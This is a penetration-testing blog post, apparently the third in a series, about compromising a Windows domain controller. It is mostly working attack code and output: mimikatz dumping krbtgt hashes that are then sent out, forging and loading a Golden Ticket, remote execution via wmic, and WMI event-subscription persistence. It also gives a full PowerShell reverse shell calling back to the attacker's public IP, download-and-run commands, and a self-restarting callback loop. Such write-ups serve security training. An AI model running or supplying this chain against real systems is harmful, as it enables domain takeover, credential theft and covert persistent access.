Targeting Domain Controller (SRVDC1) and looking for the Golden Ticket

(For the first two parts of the series, From APK to Golden Ticket, see here and here)

Before leaving, we decided to get the hashes of the Domain Controller, especially those regarding the Kerberos account (krbtgt) for creating a Golden Ticket.

The “Golden Ticket” attack [1] allows us to create offline Kerberos Ticket Granting Tickets (TGT) so to have unauthorized access and to impersonate any domain user. Also, it is valid for ten years, or as long as it is created, and more important it will work even if the DA credentials are changed. An excellent example of persistence, isn’t it?

For this task we needed:

  • krbtgt hashes
  • Domain SID
  • Username (Administrator)
  • Domain name (SUPERCOMPANY)

In a similar fashion, as we did so far, we got a new remote PowerShell on the Domain Controller with Local System privileges (port forwarding on SRVWSUS, improved SMBExec, etc.)

We executed our obfuscated version of mimikatz to get the hashes of the AD directory users database and saved them in file hash.txt:

invoke-mymy -command ‘privilege::debug “LSADump::LSA /inject”‘ > hash.txt

The mimikatz script was without the auto-invoke command at the end of the file. We exfiltrated the hash file to our web server. This was its content:

RID : 000001f6 (502)

User : krbtgt

* Primary

LM :

NTLM : 3003567af268a4aXXXXXXXXXXXXXXXXX

Using get-addomain cmdlet, which is automatically imported on Domain Controllers, we got the domain SID:

PS C:\test> get-addomain

AllowedDNSSuffixes : {}

ChildDomains : {}

ComputersContainer : CN=Computers,DC=supercompany,DC=local

DeletedObjectsContainer : CN=Deleted Objects,DC=supercompany,DC=local

DistinguishedName : DC=supercompany,DC=local

DNSRoot : supercompany.local

DomainControllersContainer : OU=Domain

Controllers,DC=supercompany,DC=local

DomainMode : Windows2012R2Domain

DomainSID : S-1-5-21-3534665177-2148510708-2241433719


Note: we could get the Domain SID from the Administrator’s (whose uid=500) obtained by mimikatz:

S-1-5-21-3534665177-2148510708-2241433719-500

Time to create our golden ticket:

invoke-mymy -command ‘”privilege::debug” “Kerberos::golden /admin:Administrator /domain:supercompany.LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353f1 /ticket:admin.krb”

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

.## ^ ##. “A La Vie, A L’Amour”

## / \ ## /* * *

## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

‘## v ##’ http://blog.gentilkiwi.com/mimikatz     (oe.eo)

‘#####’     with 20 modules * * */

mimikatz(powershell) # privilege::debug

Privilege ’20’ OK

mimikatz(powershell) # Kerberos::golden /admin:Administrator /domain:supercompany.LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353f1 /ticket:admin.krb

User     : Administrator

Domain    : supercompany.LOCAL (SUPERCOMPANY)

SID     : S-1-5-21-3534665177-2148510708-2241433719

User Id : 500

Groups Id : *513 512 520 518 519

ServiceKey: 3003567af268a4a94e26f410e84353f1 – rc4_hmac_nt

Lifetime : 2/17/2017 4:02:10 PM ; 2/17/2027 4:02:10 PM ; 3/3/2027 4:02:10 PM

-> Ticket : admin.krb

* PAC generated

* PAC signed

* EncTicketPart generated

* EncTicketPart encrypted

* KrbCred generated

Final Ticket Saved to file !

After that, we exfiltrated the admin.krb file for later uses…

Persistence

Before leaving the system, we have to set up persistence to access the exposed server (SRVWSUS) at a later time(s). Being stealthy is not an easy task here, there are some obvious entry points which even a novice sysadmin would discover.

We chose a more sophisticated technique based on some peculiar characteristics of WMI, taking advantage of the InstanceModificationEvent.

Any time an instance of a WMI object changes its registers, it changes as an InstanceModificationEvent. In this case, we filtered the event systemuptime so that if the time were between 200 and 300 seconds (system startup), we would feed the event eventconsumer with a commandlineeventconsumer.

So from our remote PowerShell on server SRVWSUS we sent:

$filterName = “JustForTestFilter”

$consumerName = “JustForTestConsumer”

$exePath = “C:\windows\help\windows\indexstore\r.bat

$Query = “SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’ AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 300”

$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace “root\subscription” -Arguments @{Name=$filterName;EventNameSpace=”root\cimv2″;QueryLanguage=”WQL”;Query=$Query} -ErrorAction Stop

$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace “root\subscription” -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exepath}

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace “root\subscription” -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

The content of r.bat, saved in a “hidden” Windows directory:

powershell -executionpolicy bypass -windowstyle hidden -f C:\windows\help\windows\indexstore\r.ps1

While, r.ps1:

$c=New-Object System.Net.Sockets.TCPClient(‘<OUR_PUBLIC_IP>’,443);

$s=$c.GetStream();[byte[]]$b=0..65535|%{0};

while(($i=$s.Read($b,0,$b.Length))-ne 0){;

$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);

$sb=(IEX $data 2>&1 | Out-String );

$sb2=$sb+’PS ‘+(pwd).Path + ‘> ‘;

$sb=([text.encoding]::ASCII).GetBytes($sb2);

$s.Write($sb,0,$sb.Length);

$s.Flush()};

$c.Close()”

This would guarantee the execution of our remote shell with local SYSTEM privileges via SRVWSUS upon reboot.

And finally, we tested our “Golden Ticket,” remember the “admin.krb file”?

Again, from the SRVWSUS shell with local system privileges we downloaded from our webserver admin.krb, configured port forwarding and uploaded the script r3.ps1 with the connect back instructions to SRVWSUS on port 9000.

Ethical Hacking Training – Resources (InfoSec)

Now we had to load the ticket in our session:

PS C:\tmp>Invoke-mymy -command ‘”kerberos::ptt admin.krb”‘

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

.## ^ ##. “A La Vie, A L’Amour”

## / \ ## /* * *

## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)

‘#####’ with 20 modules * * */

mimikatz(powershell) # kerberos::ptt admin.krb

* File: ‘admin.krb’: OK

Using klist it is possible to list our loaded Kerberos tokens:

PS C:\tmp> klist

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0> Client: Administrator @ supercompany.LOCAL

Server: krbtgt/supercompany.LOCAL @ supercompany.LOCAL

KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)

Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent

Start Time: 2/17/2017 1:02:10 (local)

End Time: 2/17/2027 1:02:10 (local)

Renew Time: 2/18/2027 1:02:10 (local)

Session Key Type: RSADSI RC4-HMAC(NT)

Cache Flags: 0x1 -> PRIMARY

Kdc Called:

OK it worked, the ticket was successfully loaded!

For the next operations, we used the Windows wmic.exe [2] utility, a command-line interface to WMI which permits Kerberos authentication for accessing remote systems.

We copied r3.ps1 on Domain Controller without problems, just loading the administrator’s ticket in our session!

PS C:\tmp>copy c:\tmp\r3.ps1 \\SRVDC1\C$\windows\temp\r3.ps1″

And executed it:

PS C:\tmp> wmic /authority:”kerberos:SUPERCOMPANY\SRVDC1″ /node:SRVDC1 process call create “powershell -executionpolicy bypass -windowstyle hidden -f c:\windows\temp\r3.ps1”

Executing (Win32_Process)->Create()

Method execution successful.

Out Parameters:

instance of __PARAMETERS

{

ProcessId = 4528;

ReturnValue = 0;

};

We crossed our fingers and after a while, on our computer, the magic shell from SRVDC1:

PS C:\Windows\system32> whoami

supercompany\administrator

Moreover, this would work even if the Administrator’s password changes!

Just two words about the potential dangers of the “Golden Ticket”:

  • It is very difficult to detect “forged” Kerberos tickets (https://adsecurity.org/?p=1515)
  • In case of evidence, the only way is to reset twice the krbtg password which could have a severe impact on the AD infrastructure

Last but not least!

Remember how we obtained the first PowerShell remote shell on SRVWSUS?

We launched a remote command from Intranet server, pivoting this connection through Meterpreter on the Android smartphone. What if we lose our PowerShell remote shell and at the same time our victim is no longer connected? Game over…

We need to add persistence to our remote shell from SRVWSUS!!

How? By modifying the procedure for gaining access to SRVWSUS from our webshell in Tomcat:

# 1st smbexec command:

IEX (New-Object Net.WebClient).DownloadFile(`’http://<OUR_PUBLIC_IP>/r1.ps1`’,

`’c:\tmp\r1.ps1`’)

# 2nd smbexec command:

IEX (New-Object Net.WebClient).DownloadFile(`’http://<OUR_PUBLIC_IP>/r1.bat`’,

`’c:\tmp\r1.bat`’)

# 3rd smbexec command:

‘cmd /c c:\tmp\r1.bat’

What does r1.bat contain?

@echo off

:loop

powershell -executionpolicy bypass -windowstyle hidden -f c:\tmp\r.ps1

timeout /t 10

goto loop

Ugly uh? But it works, waits for 10 seconds and restarts the call back in case of lost connection ;-)

And yes, of course, we could have encoded and compressed all our .ps1 scripts but we just wanted to show you how it works!

Conclusions

That’s all folks! We didn’t invent anything new, however by using only Windows built-in functionalities and some scripting we were able to achieve something bigger. Sometimes there’s no need to use magic tools, just K.I.S.S.

And always “Try Smarter!”

PS: would you like to practice a similar solution? Let us know and we will setup an exclusive virtual environment only for you!

______

[1] https://adsecurity.org/?p=1588

[2] https://msdn.microsoft.com/en-us/library/bb742610.aspx